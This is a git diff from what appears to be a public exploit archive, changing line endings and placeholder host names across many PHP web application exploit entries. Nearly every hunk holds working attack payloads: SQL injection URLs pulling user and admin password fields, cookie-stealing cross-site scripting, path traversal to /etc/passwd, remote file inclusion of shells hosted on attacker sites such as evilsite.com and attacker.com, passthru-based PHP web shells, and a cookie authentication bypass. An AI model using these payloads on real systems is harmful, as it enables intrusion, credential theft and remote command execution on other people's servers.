"&e{$_SESSION['rand']}$int"), "", $trim); /* display trimmed command output */ diff --git a/platforms/php/webapps/25803.txt b/platforms/php/webapps/25803.txt index 3b0a995a8..f2e67d89b 100755 --- a/platforms/php/webapps/25803.txt +++ b/platforms/php/webapps/25803.txt @@ -6,4 +6,4 @@ These issues could permit a remote attacker to create a malicious URI link that Cerberus Helpdesk version 0.97.3 to 2.6.1 are vulnerable to these issues. -http://www.example.com/cerberus/index.php?errorcode=[Xss]&errorvalue=4&sid=[sessionid] \ No newline at end of file +http://www.example.com/cerberus/index.php?errorcode=[Xss]&errorvalue=4&sid=[sessionid] \ No newline at end of file diff --git a/platforms/php/webapps/25808.txt b/platforms/php/webapps/25808.txt index 2782d04e5..b49af764b 100755 --- a/platforms/php/webapps/25808.txt +++ b/platforms/php/webapps/25808.txt @@ -10,4 +10,4 @@ SQL Injection http://www.example.com/index.php?automodule=blog&blogid=1&cmd=editentry&eid=99%20UNION%20SELECT%201,0,0,name,0,0,0,0,0,0,0,0,0,0,0,0,0,0%20FROM%20ibf_members%20WHERE%201/* http://www.example.com/index.php?automodule=blog&blogid=1&cmd=replyentry&eid=99%20UNION%20SELECT%201,0,0,name,0,0,0,0,0,0,0,0,0,0,0,0,0,0%20FROM%20ibf_members%20WHERE%201/* http://www.example.com/index.php?automodule=blog&blogid=1&cmd=editcomment&eid=1&cid=-99%20UNION%20SELECT%201,0,0,0,0,0,0,0,0,0,0,0,0,name%20FROM%20ibf_members%20WHERE%201/* -http://www.example.com/index.php?automodule=blog&blogid=1&cmd=aboutme&mid=2' \ No newline at end of file +http://www.example.com/index.php?automodule=blog&blogid=1&cmd=aboutme&mid=2' \ No newline at end of file diff --git a/platforms/php/webapps/25816.txt b/platforms/php/webapps/25816.txt index 9f1ebdf88..3d1d54630 100755 --- a/platforms/php/webapps/25816.txt +++ b/platforms/php/webapps/25816.txt @@ -4,4 +4,4 @@ Ovidentia FX is prone to a remote file include vulnerability. An attacker may leverage this issue to execute arbitrary server-side script code on an affected computer with the privileges of the Web server process. This may facilitate unauthorized access. -http://www.example.com/ovidentia/index.php?babInstallPath=http://www.example.com \ No newline at end of file +http://www.example.com/ovidentia/index.php?babInstallPath=http://www.example.com \ No newline at end of file diff --git a/platforms/php/webapps/25818.txt b/platforms/php/webapps/25818.txt index 8c8ac5e3c..036be11f1 100755 --- a/platforms/php/webapps/25818.txt +++ b/platforms/php/webapps/25818.txt @@ -4,4 +4,4 @@ Singapore image gallery is prone to a cross-site scripting vulnerability. This i An attacker may leverage this issue to have arbitrary script code executed in the browser of an unsuspecting user in the context of the affected site. This may facilitate the theft of cookie-based authentication credentials as well as other attacks. -http://www.example.com/index.php?gallery=%3Cimg%20onmouseover=%22alert('hi')%22%20style=%22position:%20absolute;%20top:0px;%20left:%200px;%20width:%201000%;%20height:%201000%;%22%3E \ No newline at end of file +http://www.example.com/index.php?gallery=%3Cimg%20onmouseover=%22alert('hi')%22%20style=%22position:%20absolute;%20top:0px;%20left:%200px;%20width:%201000%;%20height:%201000%;%22%3E \ No newline at end of file diff --git a/platforms/php/webapps/25819.txt b/platforms/php/webapps/25819.txt index 48bdde081..f77a02545 100755 --- a/platforms/php/webapps/25819.txt +++ b/platforms/php/webapps/25819.txt @@ -8,4 +8,4 @@ The application is affected by a local file include vulnerability. The attacker FusionBB is prone to multiple SQL injection vulnerabilities as well. These vulnerabilities could result in a compromise of the application, disclosure or modification of data, or may permit an attacker to exploit vulnerabilities in the underlying database implementation. -Cookie: bb_session_id=' or user_id = '1; bb_uid=1; \ No newline at end of file +Cookie: bb_session_id=' or user_id = '1; bb_uid=1; \ No newline at end of file diff --git a/platforms/php/webapps/2582.txt b/platforms/php/webapps/2582.txt index 0592cedb4..73004bc2d 100755 --- a/platforms/php/webapps/2582.txt +++ b/platforms/php/webapps/2582.txt @@ -17,7 +17,7 @@ + modules/guestbook/index.php, line(s) 3: require $CONFIG['local_root'].'modules/guestbook/guestbookfunctions.php'; + + Proof Of Concept: -+ http://[target]/[path]/modules/guestbook/index.php?CONFIG[local_root]=http://evilserver/shell.php? ++ http://[target]/[path]/modules/guestbook/index.php?CONFIG[local_root]=http://evilsite.com/shell.php? +------------------------------------------------------------------------------------------- # milw0rm.com [2006-10-17] diff --git a/platforms/php/webapps/25821.txt b/platforms/php/webapps/25821.txt index 2b04b15fc..aed548ab2 100755 --- a/platforms/php/webapps/25821.txt +++ b/platforms/php/webapps/25821.txt @@ -4,4 +4,4 @@ Annuaire 1Two is prone to a cross-site scripting vulnerability. This issue is du An attacker may leverage this issue to have arbitrary script code executed in the browser of an unsuspecting user in the context of the affected site. This may facilitate the theft of cookie-based authentication credentials as well as other attacks. -http://www.example.com/index.php?id=%22%3E%3Cscript%3Ealert(document.cookie)%3C/script%3E \ No newline at end of file +http://www.example.com/index.php?id=%22%3E%3Cscript%3Ealert(document.cookie)%3C/script%3E \ No newline at end of file diff --git a/platforms/php/webapps/25823.txt b/platforms/php/webapps/25823.txt index 7c5c7984b..67f71ff22 100755 --- a/platforms/php/webapps/25823.txt +++ b/platforms/php/webapps/25823.txt @@ -4,4 +4,4 @@ McGallery is prone to a file disclosure vulnerability. This could let remote attackers access files on the computer in the context of the Web server process. -http://example.com/mcgallery/admin.php?lang=../../../../../../etc/passwd \ No newline at end of file +http://example.com/mcgallery/admin.php?lang=../../../../../../etc/passwd \ No newline at end of file diff --git a/platforms/php/webapps/25824.txt b/platforms/php/webapps/25824.txt index 5da0202e1..666d0d92f 100755 --- a/platforms/php/webapps/25824.txt +++ b/platforms/php/webapps/25824.txt @@ -40,4 +40,4 @@ http://www.example.com/pafiledb.php?action=team&tm=file&file=edit&id=1&edit=do& query=UPDATE%20pafiledb_admin%20SET%20admin_password%20=%20MD5%281337%28% 20WHERE%201/* -http://www.example.com/pafiledb.php?action=../../../../etc/passwd%00&login=do \ No newline at end of file +http://www.example.com/pafiledb.php?action=../../../../etc/passwd%00&login=do \ No newline at end of file diff --git a/platforms/php/webapps/25825.txt b/platforms/php/webapps/25825.txt index afaa09a81..002127302 100755 --- a/platforms/php/webapps/25825.txt +++ b/platforms/php/webapps/25825.txt @@ -14,4 +14,4 @@ http://www.example.com/upb/email.php?id=%27%3E%3Cscript%3Ealert(document.cookies http://www.example.com/upb/icq.php?action=get&id=%27%3E%3Cscript%3Ealert(document.cookie)%3C/script%3E http://www.example.com/upb/aol.php?action=get&id=%27%3E%3Cscript%3Ealert(document.cookie)%3C/script%3E http://www.example.com/upb/getpass.php?ref=%27%3E%3Cscript%3Ealert(document.cookie)%3C/script%3E -http://www.example.com/upb/search.php?step=3&sText=%27%3E%3Cscript%3Ealert(document.cookie)%3C/script%3E \ No newline at end of file +http://www.example.com/upb/search.php?step=3&sText=%27%3E%3Cscript%3Ealert(document.cookie)%3C/script%3E \ No newline at end of file diff --git a/platforms/php/webapps/2583.php b/platforms/php/webapps/2583.php index bd0043a07..855a54802 100755 --- a/platforms/php/webapps/2583.php +++ b/platforms/php/webapps/2583.php @@ -40,11 +40,11 @@ Code Execution Vulnerability: devilteam.jpg source: <?php ob_clean();echo"Hacker_Kacper_Made_in_Poland:)";ini_set("max_execution_time",0);passthru($_GET["cmd"]);die;?> -enter to upload: http://www.server/forum/profile.php?action=editprofile&id=1 +enter to upload: http://www.site.com/forum/profile.php?action=editprofile&id=1 upload evil avatar and go to: -http://www.server/wsnforum/prestart.php?pathtoconfig=attachments/avatars/[avatar_md5_name].jpg?cmd=ls -la%00 +http://www.site.com/wsnforum/prestart.php?pathtoconfig=attachments/avatars/[avatar_md5_name].jpg?cmd=ls -la%00 game over ;] */ @@ -60,7 +60,7 @@ Options: -p[port]: specify a port other than 80 -P[ip:port]: specify a proxy Example: -php '.$argv[0].' localhost http://www.evilserver/shell.txt ls -la -P1.1.1.1:80 +php '.$argv[0].' localhost http://www.evilsite.com/shell.txt ls -la -P1.1.1.1:80 -=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=- '); die; diff --git a/platforms/php/webapps/2584.pl b/platforms/php/webapps/2584.pl index 49f1cac60..2800a9a51 100755 --- a/platforms/php/webapps/2584.pl +++ b/platforms/php/webapps/2584.pl @@ -103,8 +103,8 @@ header(); ######################################################################## Usage: perl recipe2.36_xpl.pl <Target website> <Shell Location> <CMD Variable> <-r> <-p> -<Target Website> - Path to target eg: www.recipevuln.server -<Shell Location> - Path to shell eg: www.badserver/s.txt +<Target Website> - Path to target eg: www.recipevuln.target.com +<Shell Location> - Path to shell eg: www.badserver.com/s.txt <CMD Variable> - Shell command variable name eg: cmd <r> - Show output from shell <p> - Patch Import_MM.class.php diff --git a/platforms/php/webapps/25840.txt b/platforms/php/webapps/25840.txt index 6d295fbcb..8e2824c40 100755 --- a/platforms/php/webapps/25840.txt +++ b/platforms/php/webapps/25840.txt @@ -5,4 +5,4 @@ osCommerce is prone to multiple HTTP response splitting vulnerabilities. These i A remote attacker may exploit any of these vulnerabilities to influence or misrepresent how Web content is served, cached or interpreted. This could aid in various attacks that attempt to entice client users into a false sense of trust. http://www.example.com/index.php?action=buy_now&products_id=22%0d%0atest:%20poison%20headers! -http://www.example.com/index.php?action=cust_order&pid=2%0d%0atest:%20poison%20headers! \ No newline at end of file +http://www.example.com/index.php?action=cust_order&pid=2%0d%0atest:%20poison%20headers! \ No newline at end of file diff --git a/platforms/php/webapps/25846.txt b/platforms/php/webapps/25846.txt index bfa78618d..947f903aa 100755 --- a/platforms/php/webapps/25846.txt +++ b/platforms/php/webapps/25846.txt @@ -4,4 +4,4 @@ It is reported that cPanel is prone to a cross-site scripting vulnerability that Due to the possibility of attacker-specified HTML and script code being rendered in a victim's browser, it is possible to steal cookie-based authentication credentials from that user. Other attacks are possible as well. -http://www.example.com:2082/login?user=**<script>JavaScript:alert(document.cookie);</script> \ No newline at end of file +http://www.example.com:2082/login?user=**<script>JavaScript:alert(document.cookie);</script> \ No newline at end of file diff --git a/platforms/php/webapps/25849.txt b/platforms/php/webapps/25849.txt index cb378d858..fbe3634e3 100755 --- a/platforms/php/webapps/25849.txt +++ b/platforms/php/webapps/25849.txt @@ -49,7 +49,7 @@ $options = getopt('u:'); if(!isset($options['u'])) -die("\n Usage example: php exploit.php -u http://server/ \n"); +die("\n Usage example: php exploit.php -u http://target.com/ \n"); $url = $options['u']; $shell = "{$url}/index.php?field=rce.php&newvalue=%3C%3Fphp%20passthru(%24_GET%5Bcmd%5D)%3B%3F%3E"; diff --git a/platforms/php/webapps/2585.txt b/platforms/php/webapps/2585.txt index 61ceab535..5cd2f246d 100755 --- a/platforms/php/webapps/2585.txt +++ b/platforms/php/webapps/2585.txt @@ -75,9 +75,9 @@ etc.. Proof Of Concept: ~~~~~~~~~~~~~~ -http://server/[phpmybibli_path]/index.php?class_path=http://attacker.com/inject.txt? -http://server/[phpmybibli_path]/edit.php?javascript_path=http://attacker.com/inject.txt? -http://server/[phpmybibli_path]/circ.php?include_path=http://attacker.com/inject.txt? +http://target.com/[phpmybibli_path]/index.php?class_path=http://attacker.com/inject.txt? +http://target.com/[phpmybibli_path]/edit.php?javascript_path=http://attacker.com/inject.txt? +http://target.com/[phpmybibli_path]/circ.php?include_path=http://attacker.com/inject.txt? Solution: ~~~~~~ diff --git a/platforms/php/webapps/25854.txt b/platforms/php/webapps/25854.txt index 9122c3d5c..0711d56d3 100755 --- a/platforms/php/webapps/25854.txt +++ b/platforms/php/webapps/25854.txt @@ -4,4 +4,4 @@ paFaq is prone to a cross-site scripting vulnerability. This issue is due to a f An attacker may leverage this issue to have arbitrary script code executed in the browser of an unsuspecting user in the context of the affected site. This may facilitate the theft of cookie-based authentication credentials as well as other attacks. -http://www.example.com/pafaq/index.php?act=Question&id=1%3E%3Cscript%3Ealert%28document.cookie%29%3C%2Fscript%3E \ No newline at end of file +http://www.example.com/pafaq/index.php?act=Question&id=1%3E%3Cscript%3Ealert%28document.cookie%29%3C%2Fscript%3E \ No newline at end of file diff --git a/platforms/php/webapps/25856.txt b/platforms/php/webapps/25856.txt index 5d070c1b9..313ba8b22 100755 --- a/platforms/php/webapps/25856.txt +++ b/platforms/php/webapps/25856.txt @@ -4,4 +4,4 @@ paFaq is prone to an SQL injection vulnerability. This issue is due to a failure Successful exploitation could result in a compromise of the application, disclosure or modification of data, or may permit an attacker to exploit vulnerabilities in the underlying database implementation. -http://www.example.com/pafaq/admin/index.php?act=login&username='%20UNION%20SELECT%20id,name,'3858f62230ac3c915f300c664312c63f',email,notify,permissions,session%20FROM%20pafaq_admins%20WHERE%201/*&password=foobar \ No newline at end of file +http://www.example.com/pafaq/admin/index.php?act=login&username='%20UNION%20SELECT%20id,name,'3858f62230ac3c915f300c664312c63f',email,notify,permissions,session%20FROM%20pafaq_admins%20WHERE%201/*&password=foobar \ No newline at end of file diff --git a/platforms/php/webapps/25857.txt b/platforms/php/webapps/25857.txt index 03244fea8..b85663f65 100755 --- a/platforms/php/webapps/25857.txt +++ b/platforms/php/webapps/25857.txt @@ -6,4 +6,4 @@ The problem presents itself specifically when an attacker passes the location of An attacker may leverage this issue to execute arbitrary server-side script code on an affected computer with the privileges of the Web server process. This may facilitate unauthorized access. -http://www.example.com/include/config_settings.php?config[include_path]=http://www.example2.com/ \ No newline at end of file +http://www.example.com/include/config_settings.php?config[include_path]=http://www.example2.com/ \ No newline at end of file diff --git a/platforms/php/webapps/25859.txt b/platforms/php/webapps/25859.txt index 46743caa4..0050f0624 100755 --- a/platforms/php/webapps/25859.txt +++ b/platforms/php/webapps/25859.txt @@ -6,4 +6,4 @@ The problem presents itself specifically when an attacker passes the location of An attacker may leverage this issue to execute arbitrary server-side script code on an affected computer with the privileges of the Web server process. This may facilitate unauthorized access. -http://www.example.com/path_of_cacti/include/top_graph_header.php?config[library_path]=http://www.exmpale2.com/ \ No newline at end of file +http://www.example.com/path_of_cacti/include/top_graph_header.php?config[library_path]=http://www.exmpale2.com/ \ No newline at end of file diff --git a/platforms/php/webapps/25860.txt b/platforms/php/webapps/25860.txt index 0c1a33fd7..d39a1f209 100755 --- a/platforms/php/webapps/25860.txt +++ b/platforms/php/webapps/25860.txt @@ -4,4 +4,4 @@ DUamazon Pro is prone to multiple SQL injection vulnerabilities. These issues ar Successful exploitation could result in a compromise of the application, disclosure or modification of data, or may permit an attacker to exploit vulnerabilities in the underlying database implementation. -http://www.example.com/DUamazon/type.asp?iType=1[SQL inject] \ No newline at end of file +http://www.example.com/DUamazon/type.asp?iType=1[SQL inject] \ No newline at end of file diff --git a/platforms/php/webapps/25875.txt b/platforms/php/webapps/25875.txt index f61cc8a53..b9a998350 100755 --- a/platforms/php/webapps/25875.txt +++ b/platforms/php/webapps/25875.txt @@ -4,4 +4,4 @@ Whois.Cart is prone to a cross-site scripting vulnerability. This issue is due t An attacker may leverage this issue to have arbitrary script code executed in the browser of an unsuspecting user in the context of the affected site. This may facilitate the theft of cookie-based authentication credentials as well as other attacks. -http://www.example.com/whoiscart/profile.php?page=%3Cbody+onload%3Ddocument.forms%5B0%5D.submit%28document.cookie%29%3E%3Cform+name%3Dform1+action%3Dhttp%3A%2F%2Fwww.example.com%2F%7Evic%2Ftest.php%3E%3C%2Fform%3E%3C%2Fbody%3E \ No newline at end of file +http://www.example.com/whoiscart/profile.php?page=%3Cbody+onload%3Ddocument.forms%5B0%5D.submit%28document.cookie%29%3E%3Cform+name%3Dform1+action%3Dhttp%3A%2F%2Fwww.example.com%2F%7Evic%2Ftest.php%3E%3C%2Fform%3E%3C%2Fbody%3E \ No newline at end of file diff --git a/platforms/php/webapps/25877.txt b/platforms/php/webapps/25877.txt index 55146a060..7cdbf593d 100755 --- a/platforms/php/webapps/25877.txt +++ b/platforms/php/webapps/25877.txt @@ -4,4 +4,4 @@ Forum Russian Board is prone to multiple input validation vulnerabilities. These Forum Russian Board 4.2 is reported to be affected. -[img]wink.gif onerror=javascript:alert(document.cookie);[/img] \ No newline at end of file +[img]wink.gif onerror=javascript:alert(document.cookie);[/img] \ No newline at end of file diff --git a/platforms/php/webapps/25897.txt b/platforms/php/webapps/25897.txt index 9d16f7024..22041eb8c 100755 --- a/platforms/php/webapps/25897.txt +++ b/platforms/php/webapps/25897.txt @@ -4,4 +4,4 @@ UBB.Threads is prone to multiple SQL injection vulnerabilities because the appli A successful exploit could allow an attacker to compromise the application, access or modify data, or exploit vulnerabilities in the underlying database. -http://www.example.com/ubbt/download.php?Number=42227[SQL] \ No newline at end of file +http://www.example.com/ubbt/download.php?Number=42227[SQL] \ No newline at end of file diff --git a/platforms/php/webapps/25898.txt b/platforms/php/webapps/25898.txt index 3cc4c0be9..ab1691a6f 100755 --- a/platforms/php/webapps/25898.txt +++ b/platforms/php/webapps/25898.txt @@ -5,4 +5,4 @@ UBB.Threads is prone to multiple SQL injection vulnerabilities because the appli A successful exploit could allow an attacker to compromise the application, access or modify data, or exploit vulnerabilities in the underlying database. http://www.example.com/ubbt/calendar.php?Cat=7&month=6&year=2005[SQL] -http://www.example.com/ubbt/calendar.php?Cat=&month=7[SQL]&year=2005 \ No newline at end of file +http://www.example.com/ubbt/calendar.php?Cat=&month=7[SQL]&year=2005 \ No newline at end of file diff --git a/platforms/php/webapps/25899.txt b/platforms/php/webapps/25899.txt index cb1a20353..fc0a76cd8 100755 --- a/platforms/php/webapps/25899.txt +++ b/platforms/php/webapps/25899.txt @@ -4,4 +4,4 @@ UBB.Threads is prone to multiple SQL injection vulnerabilities because the appli A successful exploit could allow an attacker to compromise the application, access or modify data, or exploit vulnerabilities in the underlying database. -http://www.example.com/ubbt/modifypost.phpCat=0&Username=foobar&Number=[SQL]&Board=UBB8&page=0&what=showflat&fpart=&vc=1&Approved=yes&convert=markup&Subject=Re%3A+Pruning+old+posts&Icon=book.gif&Body=yup&markedit=1&addsig=1&preview=1&peditdelete=Delete+this+post \ No newline at end of file +http://www.example.com/ubbt/modifypost.phpCat=0&Username=foobar&Number=[SQL]&Board=UBB8&page=0&what=showflat&fpart=&vc=1&Approved=yes&convert=markup&Subject=Re%3A+Pruning+old+posts&Icon=book.gif&Body=yup&markedit=1&addsig=1&preview=1&peditdelete=Delete+this+post \ No newline at end of file diff --git a/platforms/php/webapps/2590.txt b/platforms/php/webapps/2590.txt index 893674495..5132dec48 100755 --- a/platforms/php/webapps/2590.txt +++ b/platforms/php/webapps/2590.txt @@ -26,7 +26,7 @@ + ... same thing repeated for each variable in the second argument of fputs() on line 23 + + -> http://[target]/[path]/db/txt.inc.php?file=../evilfile.php&check=0&email[to]=+%3C%3Fphp+include%28%24evil_include%29%3B+%3F%3E+ -+ -> http://[target]/[path]/evilfile.php?evil_include=http://evilserver/shell.php ++ -> http://[target]/[path]/evilfile.php?evil_include=http://evilsite.com/shell.php +------------------------------------------------------------------------------------------- # milw0rm.com [2006-10-18] diff --git a/platforms/php/webapps/25900.txt b/platforms/php/webapps/25900.txt index 7b835ce86..b1109ef31 100755 --- a/platforms/php/webapps/25900.txt +++ b/platforms/php/webapps/25900.txt @@ -4,4 +4,4 @@ UBB.Threads is prone to multiple SQL injection vulnerabilities because the appli A successful exploit could allow an attacker to compromise the application, access or modify data, or exploit vulnerabilities in the underlying database. -http://www.example.com/ubbt/viewmessage.php?Cat=&message=-99%20UNION%20SELECT%20null,U_Username,U_Password,0,0%20FROM%20w3t_Users%20WHERE%20U_Username%20=%20'foobar'/*&status=N&box=received \ No newline at end of file +http://www.example.com/ubbt/viewmessage.php?Cat=&message=-99%20UNION%20SELECT%20null,U_Username,U_Password,0,0%20FROM%20w3t_Users%20WHERE%20U_Username%20=%20'foobar'/*&status=N&box=received \ No newline at end of file diff --git a/platforms/php/webapps/25901.txt b/platforms/php/webapps/25901.txt index ca6d618e9..c40e9fdcd 100755 --- a/platforms/php/webapps/25901.txt +++ b/platforms/php/webapps/25901.txt @@ -4,4 +4,4 @@ UBB.Threads is prone to multiple SQL injection vulnerabilities because the appli A successful exploit could allow an attacker to compromise the application, access or modify data, or exploit vulnerabilities in the underlying database. -http://www.example.com/ubbt/addfav.php?Cat=0&Board=UBB2&main=41654[SQL]&type=reminder&Number=41654&page=0&vc=1&fpart=1&what=showflat \ No newline at end of file +http://www.example.com/ubbt/addfav.php?Cat=0&Board=UBB2&main=41654[SQL]&type=reminder&Number=41654&page=0&vc=1&fpart=1&what=showflat \ No newline at end of file diff --git a/platforms/php/webapps/25902.txt b/platforms/php/webapps/25902.txt index c06dbd410..fa2615f3e 100755 --- a/platforms/php/webapps/25902.txt +++ b/platforms/php/webapps/25902.txt @@ -4,4 +4,4 @@ UBB.Threads is prone to multiple SQL injection vulnerabilities because the appli A successful exploit could allow an attacker to compromise the application, access or modify data, or exploit vulnerabilities in the underlying database. -http://www.example.com/ubbt/notifymod.php?Cat=0&Board=UBB5&Number=42173[SQL]&page=0&what=showthreaded \ No newline at end of file +http://www.example.com/ubbt/notifymod.php?Cat=0&Board=UBB5&Number=42173[SQL]&page=0&what=showthreaded \ No newline at end of file diff --git a/platforms/php/webapps/25909.txt b/platforms/php/webapps/25909.txt index 3092febfb..bca472e99 100755 --- a/platforms/php/webapps/25909.txt +++ b/platforms/php/webapps/25909.txt @@ -7,4 +7,4 @@ Attacker-supplied HTML and script code would be executed in the context of the a http://www.example.com/mensajeitor.php?nick=megabyte&url=http://mbytesecurity.org&actualizar=null&titulo=aaa&ip='aa'>%3Ciframe%20src=http://mbytesecurity.org/bukle.htm&enviar =Enviar <http://www.example.com/mensajeitor.php?nick=megabyte&url=http://mbytesecurity.org&actualizar=null&titulo=aaa&ip=%27aa%27%3E%3Ciframe%20src=http://mbytesecurity.org/bukle.htm -&enviar=Enviar> \ No newline at end of file +&enviar=Enviar> \ No newline at end of file diff --git a/platforms/php/webapps/25919.txt b/platforms/php/webapps/25919.txt index bccfd1df3..612969188 100755 --- a/platforms/php/webapps/25919.txt +++ b/platforms/php/webapps/25919.txt @@ -6,4 +6,4 @@ Successful exploitation could allow the attacker to compromise security properti This issue has been reported to exist in Phorum 5.0.11. Earlier versions may also be affected. -http://www.example.com/read.php?1,[MALICIOUS_SQL_CODE],newer \ No newline at end of file +http://www.example.com/read.php?1,[MALICIOUS_SQL_CODE],newer \ No newline at end of file diff --git a/platforms/php/webapps/25926.txt b/platforms/php/webapps/25926.txt index 7eef1c4b8..59a4facf4 100755 --- a/platforms/php/webapps/25926.txt +++ b/platforms/php/webapps/25926.txt @@ -10,4 +10,4 @@ The following specific issues were identified: osTicket 1.3.1 beta and prior versions are affected. -http://www.example.com/osticket/view.php?inc=x \ No newline at end of file +http://www.example.com/osticket/view.php?inc=x \ No newline at end of file diff --git a/platforms/php/webapps/25934.txt b/platforms/php/webapps/25934.txt index 53afc1b76..e49c35703 100755 --- a/platforms/php/webapps/25934.txt +++ b/platforms/php/webapps/25934.txt @@ -4,4 +4,4 @@ Plague News System is prone to an SQL injection vulnerability. As a result, the Other attacks may be possible depending on the capabilities of the underlying database and the nature of the affected query. -http://www.example.com/index.php?cid=[SQL Command] \ No newline at end of file +http://www.example.com/index.php?cid=[SQL Command] \ No newline at end of file diff --git a/platforms/php/webapps/25935.txt b/platforms/php/webapps/25935.txt index a7103f34e..6b1e8c336 100755 --- a/platforms/php/webapps/25935.txt +++ b/platforms/php/webapps/25935.txt @@ -4,4 +4,4 @@ Plague News System is prone to a cross-site scripting vulnerability. This issue An attacker may leverage this issue to have arbitrary script code executed in the browser of an unsuspecting user in the context of the affected site. This may facilitate the theft of cookie-based authentication credentials as well as other attacks. -http://www.example.com/index.php?cid=<script>alert(document.cookie)</script> \ No newline at end of file +http://www.example.com/index.php?cid=<script>alert(document.cookie)</script> \ No newline at end of file diff --git a/platforms/php/webapps/25937.txt b/platforms/php/webapps/25937.txt index 04435969a..392a0f274 100755 --- a/platforms/php/webapps/25937.txt +++ b/platforms/php/webapps/25937.txt @@ -6,4 +6,4 @@ A remote attacker may exploit this issue to delete site content and deny service http://www.example.com/delete.php?comment=1&id=[ID of comment here] http://www.example.com/delete.php?news=1&id=[ID of news here] -http://www.example.com/delete.php?shout=1&id=[ID of shout here] \ No newline at end of file +http://www.example.com/delete.php?shout=1&id=[ID of shout here] \ No newline at end of file diff --git a/platforms/php/webapps/25938.txt b/platforms/php/webapps/25938.txt index 2fee4608b..1c55680a7 100755 --- a/platforms/php/webapps/25938.txt +++ b/platforms/php/webapps/25938.txt @@ -6,4 +6,4 @@ All versions of phpPgAdmin are considered to be vulnerable at the moment. formUsername=username&formPassword=password&formServer=0&formLanguag e=%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f/et -c/passwd%00&submitLogin=Login \ No newline at end of file +c/passwd%00&submitLogin=Login \ No newline at end of file diff --git a/platforms/php/webapps/2594.php b/platforms/php/webapps/2594.php index 3db36658c..54f6464fd 100755 --- a/platforms/php/webapps/2594.php +++ b/platforms/php/webapps/2594.php @@ -46,7 +46,7 @@ Options: -p[port]: specify a port other than 80 -P[ip:port]: specify a proxy Example: -php '.$argv[0].' localhost http://www.evilserver/shell.txt ls -la -P1.1.1.1:80 +php '.$argv[0].' localhost http://www.evilsite.com/shell.txt ls -la -P1.1.1.1:80 shell.txt: <?php ob_clean();echo"Hacker_Kacper_Made_in_Poland!!..Hauru..^_^..the..best..polish..team..Greetz";ini_set("max_execution_time",0);echo "my_delim";passthru($_GET["cmd"]);die;?> -=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=- '); diff --git a/platforms/php/webapps/25940.txt b/platforms/php/webapps/25940.txt index 4824194a1..92d96a667 100755 --- a/platforms/php/webapps/25940.txt +++ b/platforms/php/webapps/25940.txt @@ -4,4 +4,4 @@ AutoIndex PHP Script is prone to a cross-site scripting vulnerability. This issu An attacker may leverage this issue to have arbitrary script code executed in the browser of an unsuspecting user in the context of the affected site. This may facilitate the theft of cookie-based authentication credentials as well as other attacks. -http://www.example.com/index.php?search='>%3Cscript%3Ealert%28%27owned%27%29%3Blocation.href%3D%27http%3A%2F%2Fwww.example.com%27%3B%3C%2Fscript%3E&dir=&searchMode= \ No newline at end of file +http://www.example.com/index.php?search='>%3Cscript%3Ealert%28%27owned%27%29%3Blocation.href%3D%27http%3A%2F%2Fwww.example.com%27%3B%3C%2Fscript%3E&dir=&searchMode= \ No newline at end of file diff --git a/platforms/php/webapps/25941.txt b/platforms/php/webapps/25941.txt index cecbb97fe..4f925be3e 100755 --- a/platforms/php/webapps/25941.txt +++ b/platforms/php/webapps/25941.txt @@ -4,4 +4,4 @@ MyGuestbook is prone to a remote file include vulnerability. This issue is due t An attacker may leverage this issue to execute arbitrary server-side script code on an affected computer with the privileges of the Web server process. This may facilitate unauthorized access. -http://www.example.com/gb/form.inc.php3?lang=http://www.example.com/cmd.gif?&cmd=id;uname%20-a;uptime \ No newline at end of file +http://www.example.com/gb/form.inc.php3?lang=http://www.example.com/cmd.gif?&cmd=id;uname%20-a;uptime \ No newline at end of file diff --git a/platforms/php/webapps/25942.txt b/platforms/php/webapps/25942.txt index 58eff9569..e6bdaff43 100755 --- a/platforms/php/webapps/25942.txt +++ b/platforms/php/webapps/25942.txt @@ -5,4 +5,4 @@ JAWS is prone to a remote file include vulnerability. This issue is due to a fai An attacker may leverage this issue to execute arbitrary server-side script code on an affected computer with the privileges of the Web server process. This may facilitate unauthorized access. http://www.example.com/[path]/gadgets/Blog/BlogModel.php?path= -http://www.example.com \ No newline at end of file +http://www.example.com \ No newline at end of file diff --git a/platforms/php/webapps/25945.txt b/platforms/php/webapps/25945.txt index 7d58133ed..fca3cd657 100755 --- a/platforms/php/webapps/25945.txt +++ b/platforms/php/webapps/25945.txt @@ -6,4 +6,4 @@ A remote unauthorized user can disclose the contents of arbitrary local files th The vendor has released the patch phpwebsite_security_patch_20050705.2.tgz addressing this issue. -http://www.example.com/phpwebsite/index.php?module=search&search_op=search&mod=../../../../../../../../etc/passwd%00&query=1&search=Search \ No newline at end of file +http://www.example.com/phpwebsite/index.php?module=search&search_op=search&mod=../../../../../../../../etc/passwd%00&query=1&search=Search \ No newline at end of file diff --git a/platforms/php/webapps/25951.txt b/platforms/php/webapps/25951.txt index 666adf8a4..5c3756151 100755 --- a/platforms/php/webapps/25951.txt +++ b/platforms/php/webapps/25951.txt @@ -7,4 +7,4 @@ Successful exploitation could result in a compromise of the application, disclos http://www.example.com/cartwiz/store/tellAFriend.asp?idProduct=' http://www.example.com/cartwiz/store/viewSupportTickets.asp?sortType='&sortOrder=ticketNum&page=0 http://www.example.com/cartwiz/store/updateCreditCards.asp?id=' -http://www.example.com/cartwiz/store/deleteCreditCards.asp?id=' \ No newline at end of file +http://www.example.com/cartwiz/store/deleteCreditCards.asp?id=' \ No newline at end of file diff --git a/platforms/php/webapps/25954.txt b/platforms/php/webapps/25954.txt index 6faf98ff6..b06a754d7 100755 --- a/platforms/php/webapps/25954.txt +++ b/platforms/php/webapps/25954.txt @@ -27,4 +27,4 @@ Authentication bypass: Set the cookie as follows: Name: PHPAUCTION_RM_ID -VALUE: Id number of the user/admin you want to impersonate (you can get it from thier profile) \ No newline at end of file +VALUE: Id number of the user/admin you want to impersonate (you can get it from thier profile) \ No newline at end of file diff --git a/platforms/php/webapps/25955.txt b/platforms/php/webapps/25955.txt index 640173c0e..261150316 100755 --- a/platforms/php/webapps/25955.txt +++ b/platforms/php/webapps/25955.txt @@ -6,4 +6,4 @@ Successful exploitation of this issue will allow an attacker to execute arbitrar Reports indicate that this issue may have been addressed in version 1.0, but this has not been confirmed. -http://www.example.com/[path_to_photogal]/ops/gals.php?news_file=http://www.example.com \ No newline at end of file 